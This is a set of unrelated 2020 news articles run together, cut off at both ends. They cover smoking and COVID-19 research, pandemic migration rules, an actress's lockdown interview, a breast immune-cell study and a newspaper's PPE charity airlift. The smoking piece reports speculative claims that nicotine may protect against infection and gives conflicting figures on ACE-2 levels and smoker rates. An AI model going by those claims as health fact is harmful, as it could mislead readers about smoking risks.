drawing any conclusion as to whether smokers are at increased risk of SARS-CoV-2 infection at this early stage,' the UCL team said. Two high quality studies provided zero evidence that the 657 current or former smokers with the virus were at a higher risk of ending up in hospital. But among 1,370 people hospitalised across two other studies, smokers were 43 per cent more likely to see their disease progress to become severe than those who had never smoked. Three studies reported death rates from COVID-19 but there 'did not appear to be a notable difference' between smokers and non-smokers. However, the studies 'did not explicitly state never smoking status', the authors said. They implied that patients who died may have smoked in the past, but this was not clearly recorded by a doctor. The authors concluded there is a lack of evidence that meets a high standard to definitely say whether or not smokers are at higher risk of catching the coronavirus, or having poor outcomes. Data from the US suggests that smokers appear to be less likely to test positive for SARS-CoV-2 compared with never smokers. But the researchers noted that smokers were more likely to be tested - possibly because their symptoms are more obvious Three studies looked at hospitalisation for COVID-19 by smoking status. An analysis of two of these studies provided zero evidence that the 657 current or former smokers with the virus were at a higher risk of ending up in hospital Among 1,370 people hospitalised across two other studies, smokers were 43 per cent more likely to see their disease progress than those who had never smoked Three studies reported death rates from COVID-19 but there 'did not appear to be a notable difference' between smokers and non-smokers WHAT DID THE FIRST FIVE STUDIES OF SMOKERS WITH COVID-19 SHOW? A team of scientists at Harvard University in Boston and the University of Crete in Greece reviewed five of the first studies on links between smoking and COVID-19 in March. They found smokers do face a greater risk of suffering complications but others suggested they were less likely to be infected in the first place. In all of the studies, fewer than 15 per cent of the patients were smokers - a figure that clashes with China's smoking rate, which is between 20 and 26 per cent and almost half of men. The review of the evidence, led by Harvard's Dr Constantine Vardavas, was published in the journal Tobacco Induced Diseases. Here's what it found: STUDY 1 How many people were involved? 78 patients at 3 hospitals in Wuhan, China How many of them were smokers? Unclear Where were the results published? Chinese Medical Journal What did it find? The patients who progressed to severe illness had a 'significantly' higher number of smokers compared to the patients who got better 27 per cent compared three per cent STUDY 2 How many people were involved? 1,099 at 552 hospitals across China How many of them were smokers? A total of 12.6 per cent (137) were current smokers and 1.9 per cent (21) were former smokers. Where were the results published? New England Medical Journal What did it find? Among the 173 patients with severe symptoms, 16.9 per cent (29) were current smokers and 5.2 per cent (nine) were former smokers. In comparison, 11.8 per cent (108) of the 926 with milder symptoms were current smokers, and 1.3 per cent (12) were former smokers. In the group of patients that either needed mechanical ventilation, admission to an ICU or died, 25.5 per cent were current smokers and 7.6 per cent were former smokers. That was more than twice as high as the proportion of patients who did not need intensive care, 11.8 per cent of whom were current smokers and 1.6 per cent were former smokers. STUDY 3 How many people were involved? 140 in one hospital in Wuhan How many of them were smokers? 6.4 per cent were either current smokers (two) or past smokers (seven). Where were the results published? Allergy What did it find? Among the 58 patients who severely ill, 3.4 per cent (two people) were current smokers and 6.9 per cent (four) were former smokers. In comparison, of the 82 with milder symptoms, none were current smokers and 3.7 per cent (three) were former smokers. STUDY 4: How many people were involved? 191 in two hospitals in Wuhan How many of them were smokers? Six per cent (11 people) were current smokers Where were the results published? The Lancet What did it find? Among those that died (54), nine per cent (five people) were current smokers. Of those who survived, four per cent (six people) were smokers. STUDY 5 How many people were involved? 41 in one hospital in Wuhan How many of them were smokers? Seven per cent (three people) were current smokers Where were the results published? The Lancet What did it find? None of the 13 patients who needed to be admitted to ICU were current smokers. In contrast, 11 per cent (three) of those who did not need intensive care were smokers. Advertisement Commenting on the matter, Linda Bauld, a professor of public health at the University of Edinburgh, said 'there's something weird going on with smoking and coronavirus'. She told Good Morning Britain: 'We know for decades that smoking is linked to a higher risk of developing respiratory conditions and also people who smoke have poorer outcomes. 'And we've still got around seven million smokers in the UK, [the] leading preventable cause of death. 'However, my colleagues at UCL... what theyve found is there are surprisingly few smokers in those studies whove developed coronavirus. 'In one French study, four times as many non-smokers got the virus and developed COVID-19 compared to smokers. 'There is a potential biological explanation for this.' Professor Bauld said the way the virus enters the body may be blocked by effects of nicotine - the addictive compound found in tobacco. The coronavirus enters cells inside the body via structures called ACE-2 receptors, which coat the surface of some cells, including in the airways and lungs. The numbers of ACE-2 receptors someone has are thought to vary depending on genetics and some evidence suggests that they are higher in smokers. This could, in theory, put them at a higher risk of contracting the coronavirus. However, the virus is known to cause lung damage by depleting the numbers of ACE-2 receptors, so the fact that smoking increases them could reverse the effect and prevent harm to the lungs. On the other hand, other studies show that nicotine reduces the action of the ACE-2 receptor, suggesting smokers are less likely to catch the virus in the first place. Professor Bauld said: 'It's plausible that smokers are less likely to develop the condition potentially because of nicotine. Importantly in that UCL review where smokers did develop COVID-19, their outcomes are far worse.' A leading infectious disease expert at University College London, Professor Francois Balloux, has also previously said there is 'bizarrely strong' evidence smoking may be protective What did the studies from each country show? The studies conducted in hospitals in China showed that 3.8 to 17.6 per cent of COVID-19 patients were current smokers and fewer than five per cent were former smokers. However, 2018 data shows more than half the population of the country are current smokers (50.5 per cent of men and 2.1 per cent of women). And almost one in 10 of non-smokers in China are former smokers (8.4 per cent of men and 0.8 per of women). In the US studies, 1.3 to 27.2 per cent were current smokers, in contrast to a smoking prevalence of 13.8 per cent in 2018. And 2.3 to 30.6 per cent were former smokers, compared with the 20.9 per cent of former smokers across the states. In the South Korean study, 18.5 per cent were current smokers, which almost matches the smoking prevalence of 19.3 per cent in 2016. In the included study conducted in France, 7.1 per cent were current smokers, 6.1 per cent of whom were hospitalised. But much higher smoking rates are recorded in the population - 32 per cent. However the results were different for former smokers, of which there are 31.4 per cent in France. A much higher 59.1 per cent of COVID-19 patients were former smokers. In the international study with participants predominantly from the UK in a hospital setting, five per cent were current or former smokers. This compares with a current and former smoking prevalence of 14.4 and 25.8 per cent in England in 2018, 'suggesting a lower than expected proportion of current and former smokers in the included study'. Typically, smokers are at a heightened risk of infection because the tiny hairs inside the airways and lungs, which help move pathogens and mucus away, are often damaged by the toxic chemicals in cigarette smoke. In theory, this would put smokers at a disadvantage if they catch coronavirus, considering the disease leaves patients unable to get enough oxygen into the bloodstream due to lung inflammation. A group of studies from China found that the average proportion of coronavirus patients who were classed as smokers - from a total of almost 6,000 people - was just 6.5 per cent. For comparison, more than 26 per cent of the country's population as a whole are smokers The largest study which analyses health profiles of patients is published in the New England Journal of Medicine: Of the 173 patients who had severe symptoms, 16.9 per cent of them were current smokers and 5.2 per cent had previously smoked. In comparison, of the patients with less-severe symptoms, 11.8 per cent were current smokers and 1.3 per cent were former smokers Researchers at the Zhongnan Hospital of Wuhan University made the conclusion that only 1.4 per cent of 140 hospitalised patients were smokers A study of 41 patients found that none of the 13 patients who needed to be admitted to ICU were current smokers. In contrast, 11 per cent (three) of those who did not need intensive care were smokers One study of 140 coronavirus patients found that among the 58 patients who severely ill, 3.4 per cent (two people) were current smokers and 6.9 per cent (four) were former smokers. In comparison, of the 82 with milder symptoms, none were current smokers and 3.7 per cent (three) were former smokers WHAT IS AN ACE-2 RECEPTOR AND WHAT DOES IT HAVE TO DO WITH COVID-19? ACE-2 receptors are structures found on the surface of cells in the lungs and airways which work with an enyzme called ACE (angiotensin-converting enzyme) to regulate blood pressure. Its exact function in the lungs is not well understood but studies suggest it is protective against lung damage and low levels of it can worsen the impact of viral infections. Scientists say that the coronavirus which causes COVID-19 enters the body through the ACE-2 receptor, which the shape of it allows it to latch on to. This means that someone with more ACE-2 receptors may be more susceptible to a large viral load - first infectious dose of a virus - entering their bloodstream. ACE-2 receptors have a shape which matches the outside of the coronavirus, effectively providing it with a doorway into the bloodstream, scientists say People who have higher than usual numbers of ACE-2 receptors may include those with diabetes or high blood pressure because they have genetic defects which make them produce more. Emerging evidence shows that smokers may also produce more. High levels of ACE-2 receptors may also be protective, however. They are thought to be able to protect the lungs during infection and a study on mice in 2008 found that mice which had ACE-2 blocked in their bodies suffered more damage when they were infected with SARS, which is almost identical to COVID-19. Smoking has in the past been repeatedly linked to lower than normal levels of ACE-2 receptors, potentially increasing the risk of lung damage from COVID-19. Advertisement Research has shown smokers do face a greater risk of suffering complications - but others suggested they were less likely to be infected in the first place. That was the finding of the first large review of evidence by a team led by Harvard's Dr Constantine Vardavas, Greece, published in the journal Tobacco Induced Diseases. The team reviewed five studies in March and said so far say the proof smoking raises the risk of coronavirus is limited, after finding as little as 1.4 per cent of hospitalised patients were smokers. The group of experts even admitted warnings made by health chiefs were based mainly on assumptions, given the known infection risks of smoking. A study published earlier this month by scientists in New York and Athens looked at 13 Chinese studies that had registered smoking as a precondition and found that the number of smokers across the whole sample of 5,300 patients was 6.5 per cent. It's an astonishingly small number in country where half of all men still smoke. Another study, by America's Centers for Disease Control of over 7,000 people who tested positive for coronavirus, found that just 1.3 per cent of them were smokers - against the 14 per cent of all Americans that the CDC says smoke. The study also found that the smokers stood no greater chance of ending up in hospital or an ICU. Governments in both the UK and US urge people to stop smoking to protect themselves from the virus as a matter of precaution, while scientists admit there is no clear proof cigarettes can worsen the disease. Recently, world-famous artist David Hockney wrote a letter to the Daily Mail saying: 'I used to joke that being a smoker in Malibu was the equivalent of being a non-smoker in Pasadena. They used to have very bad pollution there. 'Could it not be that smokers have developed an immune system to this virus? With all these figures coming out, its beginning to look like that to me.' The British artist, now 82 and living in France, adds 'I'm serious' and has in the past revealed he's smoked for more than 60 years but still considers himself healthy. Meanwhile, a British NHS doctor claimed today that Prime Minister Boris Johnson was so badly affected by coronavirus because he is 'significantly' overweight. Consultant cardiologist Dr Aseem Malhotra said there is a ten-fold risk of death from the disease - which has so far killed more than 20,000 Britons - if patients are obese. He pointed out that other 'slimmer' members of the Cabinet - like Health Secretary Matt Hancock - recovered much more quickly and were not hospitalised. Other top Government officials and advisers who have recovered from the virus include Chief Medical Officer Chris Whitty, Chief Adviser Dominic Cummings and Health Minister Nadine Dorries. Mr Johnson, 55, has long struggled with his weight and in 2018 revealed he weighed almost 16 and a half stone, which at 5ft 9in puts him in the high risk category. Dr Malhotra said: 'It was obviously very concerning for the whole nation to see our Prime Minister get admitted to hospital with COVID-19. 'Now it is an observation, but it does fit with the evidence, Boris unfortunately is significantly overweight. 'I used to speak with one of his very senior advisers when he was London Mayor a few years ago who expressed to me personally concerns about his weight.' The outbreak of the Coronavirus pandemic has resulted in countries locking down and closing their borders to its citizens and migrants, this has become necessary in order for every country to control the spread of the virus. Some countries have gone further to repatriate their citizens from other countries in order to ensure their safety, others could not afford such an intervention leaving their citizens to their fate. Few days ago, one of the popular hiplife musicians in Ghana, Sarkodie who is currently in the United States of America because of the lockdown appealed to the President of Ghana, His Excellency Nana Addo Dankwah Akufo-Addo to reconsider his decision of closing Kotoka International Airport in order for Ghanaian citizens who are currently on a visit to other countries to return back home. In Panama, Revelers from different countries attending a two-week beach festival on a beach dubbed Paradise on Earth have had to experience Paradise on Hell due to the Coronavirus pandemic. Most of these revelers had a worse experience when the government of Panama closed the countrys airspace and lock the borders to fight the pandemic. Countries whose citizens have been affected by this decision have tried to evacuate most of their citizens' whiles others are still held up at the beach resort waiting for the government to open its airport and borders for them to return to their countries of abode. The President of the United States of America has been reported by the BBC to have halted the applications of foreign nationals seeking permanent residence in the US because of the coronavirus crisis. The President is said to have taken this decision in order to protect US workers who have lost their jobs during this pandemic. In the United Kingdom, The Independent newspaper has reported that undocumented migrants are dying because they are afraid to seek help. The newspaper published a story of a Filipino man who died of a suspected coronavirus case because he failed to access medical care for fears of he being reported to the home office. To help undocumented migrants, the newspaper reported that some MPs have written to the health secretary to immediately suspend charging for such people and all associated data sharing and immigration checks which they claim to be undermining the governments efforts to respond to the pandemic. For Africans domiciled in China, there have been videos and news reports on social media and on some news websites of Chinese authorities harassing and treating them inhumanely, according to such reports, the Chinese believe the Africans are responsible for the spread of the virus. The actions of the Chinese have also led to citizens of some African countries retaliating and treating Chinese nationals in the same way. In Ghana, there have been reports of some foreigners infected with the virus escaping quarantine, there was also the story of some Togolese national who was arrested trying to cross the Ghana Togo border after the government had closed the border and passed a law to arrest and prosecute anyone who flouts the orders of the government. According to www.schengenvisainfo.com, the Schengen states may require a negative COVID 19 test results of applicants before they are issued with a visa to visit the Schengen area. The website quoting an EU official said travelers may be required to be vaccinated in the future in case there is a COVID -19 vaccine confirmed. Even though the EU has given an insight into a post-Corona Europe in relation to traveling and migration, other countries in the West are yet to make any decision on migration. The decision of the EU if agreed by member states is likely to influence other Western countries in the way they handle migration issues, this is so because no country would want to experience the havoc and economic mess caused by the deadly coronavirus. The pandemic has caused more havoc to the world and humanity, it has restricted movement of human beings from one country to the other, people have lost their jobs and livelihood, others have been denied entry into their own country, the death rate of infected people keep on rising and this has also resulted in governments all over the world enforcing stringent laws to protect its citizens and migrants from the effects of the virus. Migration and traveling would never be the same after the extinction of Coronavirus. Governments all over the world would ensure some tighter restrictions to the movement of it, citizens and visitors, in order to avoid a recurrence of the pandemic. Mustapha Jimah. [email protected] The writer is a former consular officer at the Netherlands Embassy in Ghana and currently the CEO of Musjima Ventures. His interest is in travel matters and migration issues. Miriam Margolyes has discussed self-isolating during the coronavirus lockdown without partner of 52 years Heather during a colourful chat on This Morning with hosts Phillip Schofield and Holly Willoughby. Talking live from her home in South London on todays (27 April) show, the actress discussed life in lockdown and agreeing with Boris Johnson. Though the chat included many light-hearted moments, Miriam offered sage words of wisdom while discussing partner Heather. Read more: Miriam Margolyes: End of free TV licence for over-75s cruel and heartless When asked if shed have liked to self-isolate with her, the 78-year-old said: I wouldve loved that actually. I dont know whether she would because shes an introvert. So she likes to be quiet and get on with her work, shes writing a book about Indonesia. Im not afraid of it and I think we really will try to be together from now on, because thats what life is about, loving someone. I was lucky enough to find someone who was prepared to love me, Im not that loveable - Im smelly and noisy and all that sort of thing. Miriam Margolyes during the filming for the Graham Norton Show at BBC Studioworks 6 Television Centre, Wood Lane, London, to be aired on BBC One on Friday evening. (Photo by Isabel Infantes/PA Images via Getty Images) But she loves me and I want to be with her for the rest of my life, thats all I want. The star admitted she is struggling with lockdown and the lack of interaction, but says she is using technology to stay in touch with people, describing herself as a Zoomer. Latest coronavirus news, updates and advice Live: Follow all the latest updates from the UK and around the world Fact-checker: The number of COVID-19 cases in your local area Explained: Symptoms, latest advice and how it compares to the flu She said: Im an extrovert. I need people I miss hugs so much, its quite difficult actually because I cant hug myself, Im too fat to get round myself but its what we miss and I do Zoom with my partner Im a Zoomer. Discussing Prime Minister Boris Johnson, who returned to work today after recovering from COVID-19, the actress said: Its the only time I ever thought that I would agree with Mr. Johnson, but I do and weve all just got to stick it. Story continues Mirian Margolyes on This Morning, ITV I actually dont give a stuff about the economy, I want people to survive. So I think Boris Johnson is completely right about that. Hes not right about anything else, but he is right about that. The appearance went down a storm on Twitter, with Margolyes name trending with fans taking to the platform to show their appreciation. Read more: Miriam Margolyes drops a clanger on This Morning and the nation loves her for it One said: Could listen to Miriam Margolyes all day long. Another fan tweeted: I think the nation would be much more greatly entertained, enriched and uplifted by a Miriam Margolyes guide to surviving lockdown, rather than Gemma Collins or any of these other vacuous non-entities the TV seem to keep foisting on us. This Morning is on weekdays from 10am until 12:30pm on ITV. Australian researchers from Walter and Eliza Hall Institute have discovered a new form of immune cells within the ducts of the breast that keeps the breasts healthy. The study was published this week in the journal Nature Cell Biology. What was the study about? The researchers explain that they found immune cells called macrophages. The term macrophage from Ancient Greek means "big" (macro) and (phage) "eaters." These macrophages are essential for the normal formation and functioning of the mammary glands, they wrote. The immune cells regulate one of the vital processes of the mammary ducts. The team explains that mammary ducts of breast ducts are thin tubules where milk is produced and then is transported to the nipples for lactation. These ducts are also one of the major sites where cancers appear. Macrophages Macrophages are important cells of the immune system that are formed in response to an infection or accumulating damaged or dead cells. Macrophages are large, specialized cells that recognize, engulf, and destroy target cells. Image Credit: Alpha Tauri 3D Graphics/Shutterstock.com What did they do? To find out the immune cell machinery within the breasts, the team of researchers used three-dimensional (3D) imaging techniques in real-time. The team looked at the movement of the immune cells when infective organisms threaten the ducts. These immune cells, they saw, were "gobbling up" the dead and dying cells that originally produce milk. Once lactation or breast milk production stops, these milk-producing cells need to be cleared up, say the researchers. The researchers believe that if more insights could be obtained about these cells, it could help breast cancer research. The preclinical study was led by researchers Dr. Caleb Dawson, Professor Geoff Lindeman, and Professor Jane Visvader, along with Dr. Anne Rios. How do these cells maintain breast health? Researchers explain that breast ducts have milk-producing cells that produce milk during lactation. Throughout the life of a woman, these cells and the whole of the breast undergoes several changes during puberty, pregnancy, lactation and after menopause. The ducts branch out and develop when milk needs to be produced during lactation. After lactation is over, these cells need to stop. Researchers believe that while the milk-producing cells are essential, these duct cells are often the sites of origin of breast cancers. The mammary gland is a dynamic organ that undergoes dramatic remodeling throughout life. The branching ducts bloom to form milk-producing 'factories' in lactation, which must be eliminated once lactation stops as part of a process called involution. Image Credit: Dr Caleb Dawson, Walter and Eliza Hall Institute Dr. Dawson explained that they were looking at these important cells using high-resolution imaging techniques and found these immune cells that play a role in maintaining the health of the breast tissues. He said, "We discovered an entirely new population of specialized immune cells, which we named ductal macrophages, squeezed in between two layers of the mammary duct wall." He added, "We were excited to find that these cells play an essential role at a pivotal point in mammary gland function called involution when lactation stops, milk-producing cells die, and breast tissue needs to remodel back to its original state. We watched incredulously as the star-shaped ductal macrophages probed with their arms and ate away at dying cells. The clearing action performed by ductal macrophages helps redundant milk-producing structures to collapse, allowing them to return to a resting state successfully." As a next step, they removed these newly found ductal macrophages from the mammary ducts and found that other mammary immune cells could not carry out these essential processes within the breasts and the ducts. Professor Visvader explained that understanding these mammary duct-specific macrophages was a step towards explaining the interactions between ductal cells and the immune system and would also explain the development of the mammary glands. She said, "As breast cancer researchers, there is a need to understand which cells are doing what, so that we can identify how these intricate cellular processes become dysregulated, such as in the case of breast cancers." Immune cells helping to keep breast ducts healthy Play Way forward Dr. Dawson and his team believe that this finding could help understand not only breast development but also how the breasts change during puberty, pregnancy, lactation, and breast cancer. He said, "We also want to investigate the role that these duct-specific immune cells play in helping cancer to grow and spread. Ductal macrophages are spread throughout the mammary ducts. As cancer grows, these macrophages also increase in number. We suspect that there's the potential for ductal macrophages to inadvertently dampen the body's immune response, which would have dangerous implications for the growth and spread of cancer in these already prone sites." Professor Visvader also explained that they aimed to understand the functions of these cells. She said, "Given that tumor macrophages likely promote the growth of the tumor, blocking their activity could serve as a treatment strategy for breast cancer." This study was funded by the National Health and Medical Research Council, the National Breast Cancer Foundation, the Australian Cancer Research Foundation, The Qualtrough Cancer Research Fund, Cure Cancer Australia, and the Victorian Government. Advertisement A new weapon in the war on coronavirus touched down at a deserted Heathrow last night: an airliner crammed with PPE. Inside, filling every seat and the cargo hold, were more than 20 tons of vital coveralls and masks worth over 1 million fresh from China and destined straight for the Covid-19 frontline tomorrow. It is all thanks to a new charity, Mail Force, established by the Daily Mail and its partners to help the NHS tackle a dire shortage of key equipment. More personal protective equipment will follow in the days and weeks ahead as big donors, Mail readers and the public join in. A new weapon in the war on coronavirus touched down at a deserted Heathrow last night: an airliner crammed with PPE (pictured) HERE'S HOW TO DONATE Mail Force Charity has been launched with one aim to help support NHS staff, volunteers and care workers fight back against Covid-1 in the UK. Mail Force is a separate charity established and supported by the Daily Mail and General Trust. The money raised will fund essential equipment required by the NHS and care workers. This equipment is vital in protecting the heroic staff whilst they perform their fantastic work in helping the UK overcome this pandemic. If we raise more money than is needed for vital Covid-1 equipment, we will apply all funds to support the work of the NHS in other ways. Click the button below to make a donation: DONATE NOW If the button is not visible, click here Advertisement On the day Britain paused for a minutes silence as the Covid-related death toll of NHS staff reached triple figures, the vital reinforcements could hardly be more welcome. Last night's Mail Force One delivery the first of what will be a series of airlifts was still on the runway unloading 50,000 medical coveralls and 100,000 masks as ministers and health chiefs voiced their appreciation. PPE shortages dominated todays Cabinet meeting, the first to be chaired by the Prime Minister since returning from his sickbed. NHS chief executive Sir Simon Stevens was among the first to salute the campaigns efforts: On behalf of the NHS, our great thanks go to everyone involved in this for helping to provide us and our nurses, doctors and other staff with this extra kit. The Government is bringing in personal protective equipment from international suppliers and now British manufacturers but this is a global pandemic and there are global shortages, so supplies have been a continuing concern. Since the NHS was founded more than 70 years ago, our staff and patients have been helped and supported by volunteers, philanthropists and many others this Mail Force campaign sits firmly in that important tradition. Health Secretary Matt Hancock said: This delivery is a boost to the national effort, and I thank everyone involved for their fantastic work in pushing through the complex challenges of securing PPE amid global shortages, in aid of our heroic frontline workers. A combined domestic and international effort of Government, industry, NHS supply chain and the Armed Forces are working around the clock to get PPE delivered as quickly as possible to those on the frontline during this global pandemic. Im delighted that todays arrival of equipment will be immediately making its way to the NHS frontline enabling staff to provide world-class medical care. Shortly before the plane landed at Heathrow, Mr Hancock told the Downing Street press briefing that the Government had been moving heaven and earth to get the amount of PPE that we need to the frontline. It followed his apology to the family of a 53-year-old doctor who died of the virus after warning the Government about a lack of the equipment. Intisar Chowdhury, the son of Dr Abdul Mabud Chowdhury, challenged the Health Secretary during a phone-in on LBC. Mr Hancock assured him: We took very, very seriously what your father said and weve been working around the clock to ensure that theres enough protective equipment. The Daily Mail's consignment of PPE medical equipment is pictured in Shanghai as it was loaded aboard a Mail chartered plane on Tuesday morning to be brought to the UK It is precisely because of the risks to NHS professionals such as Dr Chowdhury that the Mail has set up the new Mail Force charity and teamed up with UK asset management company Marshall Wace each providing at least 1 million to the campaign and with Salesforce, the US enterprise software giant. Co-founder Marc Benioff has agreed to match-fund these donations, creating an initial fighting fund of 4million. The Mail, whose proprietor is Viscount Rothermere, has provided 1 million to the campaign. The Rothermere Foundation has given a further 150,000, while the Rothermere/Harmsworth family has donated an additional 100,000. All the sourcing of PPE equipment has followed careful checks with the NHS and the Department of Health to ensure that all items are approved, with urgent priority being given to fluid-resistant isolation gowns, coveralls and surgical masks. Several British clothing companies have joined the battle to produce PPE, but it is only the international marketplace which can supply the vast quantities needed by the Department of Health. Normally, this would be booked months in advance and despatched by sea. Such is the scale of this emergency, however, that fresh supplies have to be flown in immediately. Last night, Heathrow seemed more like a quiet regional airfield with just the occasional cargo flight coming and going on a single runway. Thanks to this campaign and to the generosity of the British public, it is hoped that we may see a fresh spike in air traffic in the weeks ahead. This is just the start. The Daily Mail has unapologetically taken ministers to task over PPE. But we believe it is our task to help where we can. So here's how - against the odds - we did just that... and why, with your help, we can do so much more by Robert Hardman for The Daily Mail As you are reading this article, a team of doctors and nurses somewhere inside the National Health Service will be climbing in to a brand new set of gowns or coveralls, tying the apron strings, pulling on their 98 per cent filtration surgical masks, pulling down their visors and setting forth in to a ward of gasping Covid-19 patients. Generous donors also making it possible Marc Benioff, pictured, once gave $100million to build a childrens hospital California-based Salesforce was co-founded by Marc Benioff, pictured top, an extraordinary philanthropist who once gave $100million to build a childrens hospital. His company is a world leader in business enterprise technology and customer relationship management software. The Silicon Valley firm employs 50,000 across the globe including more than 1,500 in the UK, making cloud computing software used by businesses to organise information about their customers. Salesforce today has annual revenues of more than 13billion. It enables companies of every size and type to take advantage of powerful technologies to connect with their customers. Salesforce is the largest private employer in San Francisco where its staff have given up 4.9million hours in volunteering. Mr Benioff and his wife, Lynne, are major benefactors. Mr Benioff said last night: I hope that our PPE donation will provide the protection to those who need it most our doctors, nurses, and others on the front line. Our hearts go out to everyone in the UK who has been impacted by coronavirus. Ian Wace is chief executive of one of Britain's hedge funds, Marshall Wace Marshall Wace, one of Britains most powerful hedge funds, was founded in 1997 by business partners Sir Paul Marshall and Ian Wace. The firm now manages some 40billion of assets on behalf of institutional investors, with Sir Paul serving as chairman and Mr Wace as chief executive. Mr Wace is also co-founder and chairman of Absolute Return for Kids, better known as ARK a charity that administers the ARK school academy chain. It currently runs 37 schools in London, Birmingham, Hastings and Portsmouth. During the corona crisis, Marshall Wace also led a group of businesses to prepare food for staff across 36 NHS Trusts, providing 41,000 meals a day for 84 hospitals. The hedge funds charitable arm pledged 4million to help fund the initiative. Advertisement This is the only barrier between them and the virus which, as of yesterday, has killed more than 100 NHS doctors and nurses. At the very same moment, another team will be coming off-shift, pulling off the very same kit and consigning most of it to the hospital bin. Meanwhile, somewhere inside Whitehall from the Department of Health to far-flung reaches of the Foreign Office another team of public servants are working around the clock to find more of the same equipment from an ever-shrinking global supply. At the very forefront of the Covid frontline, it is this constant shortfall which is currently the greatest challenge in our battle against coronavirus. Across the NHS, the consumption of personal protective equipment PPE - is staggering yet seemingly unavoidable. The Government has come up with the bewildering sum of a billion items of PPE despatched since this crisis began, although they have only reached that sum by totting up each individual glove. Nonetheless, the demand is astonishing. Since the start of this crisis, the NHS has consumed 140million masks and 1.8million of the all-important fluid-resistant isolation gowns needed for working at close quarters with Covid 19 patients. And that stock is all but running out. That is why we at the Daily Mail, along with some very generous partners, have decided to do something to help. So, today, we are pleased and proud to announce the start of Mail Force a charity and a campaign dedicated to bringing the most urgently-needed kit to those who depend on it. Last night, the campaigns first airliner arrived from China, touching down at Heathrow packed with 20 tons of PPE worth just over 1million. That equates to 50,000 hospital coveralls head-to-toe protective suits and 100,000 Type II surgical masks. This morning, all of it will be in a convoy of trucks including Daily Mail delivery vans heading for the Midlands and the NHSs main depot. There, it will be instantly allocated to all those who need it most at any given moment and despatched to hospitals across the UK. At the same time, our partners and associates here and all over the world will be working on filling another plane. And then another. This is neither a symbolic gesture, nor a one-off. With help from more supporters and from our unfailingly generous readers, Mail Force hope to create an ongoing, cumulative movement for the benefit of all. It follows weeks of planning in tandem with the National Health Service and the Department of Health. There is no point wading in to the complex arena of international procurement only to end up competing against your own side. Throughout this crisis, the Government has been under constant, unforgiving scrutiny for its handling of PPE supplies. As more and more reports emerge of shortages and of their sometimes disastrous consequences so increasingly difficult questions are being asked by the media. Harsh criticisms have been levelled at ministers and some of their officials. We make no apology for that. Glossing over inadequacies helps no one. However, at a time of national crisis, we also feel a certain obligation. Along with the right to find fault, there ultimately comes the responsibility to do something to help. Some, quite rightly, will ask why we, our partners and the charity, are doing the Governments job for it. To which, the answer is that we are not. We are just trying to help, in the finest traditions of private/public sector partnership in times of national crisis. Back in the Second World War, households donated pots and pans for aircraft parts, while a whole town might start a fighting fund to build a new Spitfire. Today, a local community might start a fighting fund for a new cancer scanner or air ambulance. Similarly, when we get in to trouble in British waters, it is not the state which we expect to come to our aid but a volunteer lifeboat charity. So, in the early stages of this crisis, the Daily Mail identified the lack of PPE as a key issue. Our newspaper, of which Viscount Rothermere is proprietor, then pledged 1million. In addition, the Rothermere Foundation has given 150,000 and the Rothermere/ Harmsworth family has made a 100,000 personal donation, to start things rolling. And you dont have to spend long in this bewildering market place to appreciate the task confronting the procurement teams at the Department of Health as they conduct this monumental task. Two things became clear right away. First, the large majority of the most urgently-needed equipment is made in China, along with the raw materials. Second, the whole world is after it. We may berate officialdom for its failure to foresee this crisis and then again for its shortcomings in addressing it. Much of the rest of the world is in the same boat, however. Several British clothing companies have joined the battle to produce PPE, but it is only the international marketplace which can supply the vast quantities needed by the Department of Health What's in Mail's precious cargo? Strapped into every passenger seat, this is how the Mails mercy supplies reached Britain yesterday. The striking images show the Boeing 787 Dreamliner, which would normally be filled with travellers, crammed with our crucial medical gear for the NHS. The personal protective equipment (PPE), which is vital to shield doctors and nurses treating highly contagious Covid-19 patients, was strapped into the seats with nets. It was also jammed into overhead lockers, as well as filling the cargo hold. The vitally important journey began 5,200 miles away in Henan province, known as the cradle of Chinese civilisation. The masks and coveralls were made in factories deep in the industrial heartland, close to the Yellow River. Henan, the ancient capital of China, with 3,000 years of recorded history, is where the Mail found its supplier after an exhaustive search. Since the Covid-19 crisis began, the factories have ramped up production of lifesaving protective equipment. The 26-a-day workers all live locally, in a town where temperatures drop to -21C (-6F) in winter and are currently just below zero. When our initial order was complete, the equipment was packed into cardboard boxes and loaded on to trucks for an 800-mile journey to the mega-city Shanghai on the east coast. On Monday evening, the Mails chartered Boeing Dreamliner took off from Heathrow for the 11-hour flight to the Far East. It landed at 4.50am UK time yesterday in Shanghai, and in normal circumstances the pilots would enjoy a layover in the vibrant Chinese city. But on this urgent mission the seven pilots three for the inbound flight, and four to fly back and six cabin crew spent just 2hrs 45mins on the ground. An army of 30 airport loaders wearing masks worked in a chain to pack 164 boxes into the cabin, filling every seat. Each box contained either 3,000 medical masks with ear loops or 40 full-body coveralls. The rest of the cargo was loaded into the baggage hold. Then, by 8.08am UK time yesterday morning, the Dreamliner was wheels-up again as it soared into the sky to bring the gear home. In the past month, the four-year-old aircraft has flown to destinations including Boston, Tokyo, Los Angeles and Seattle, and in April it was used in repatriation flights but this was its most important mission yet. Landing at Heathrow in the rain last night, airport workers wasted no time in unloading the vital cargo. It was taken to a warehouse for customs clearance before starting the next part of its journey. Despite the lack of passengers, the flight still required cabin crew for fire safety reasons. Their job was to walk the cabin every 15 minutes. Advertisement Health services from Canada to Spain are all scrabbling over similar material. In Japans second city of Osaka, hospitals have even been reduced to issuing appeals for the public to donate their raincoats. Throw in some rogue traders and a few queue-barging nations and it is like entering a mad cattle auction operating under opaque rules on the far side of the world. Under the circumstances, our much-mocked bureaucrats have actually had some unsung victories as well as the odd well-publicised glitch, like that cargo of elusive gowns which kept an RAF cargo plane sitting on a Turkish runway for day after day. However, while governments operate on gargantuan scales, ordering tens of millions of a particular product weeks or months in advance, operations like that of this campaign could be more strategic. There are plenty of smaller-scale pockets of PPE in different places and it would be the campaigns mission to track some of them down. We were lucky to be able to team up with Salesforce, the American software giant and its team of data analysts. They had already volunteered to use their extensive contact-base in China to help hospitals in their native California, and then across the USA. They were not only willing to help us start and supply the campaign but also to match-fund whatever we ourselves at the Mail raised for the charity. As the companys co-founder, chairman and CEO Marc Benioff, explains: I hope that our PPE donation will provide protection to those who need it most the doctors, nurses and others on the front line. Our hearts go out to everyone in the UK who has been impacted by coronavirus. The campaign also secured another founder member in the shape of global asset managers Marshall Wace. The company has led a coalition of businesses to help the NHS cope with the surge in demand for meals, producing more than 40,000 hot meals a day for 80 hospitals, thanks to an army of volunteers (among them the Countess of Wessex). Chief executive Ian Wace shares our concerns that, at times like this, it behoves business and the public to step up to the plate rather than cross our arms and shake our heads. Like the Mail, Marshall Wace has now pledged 1million to the cause. In a crisis like this, 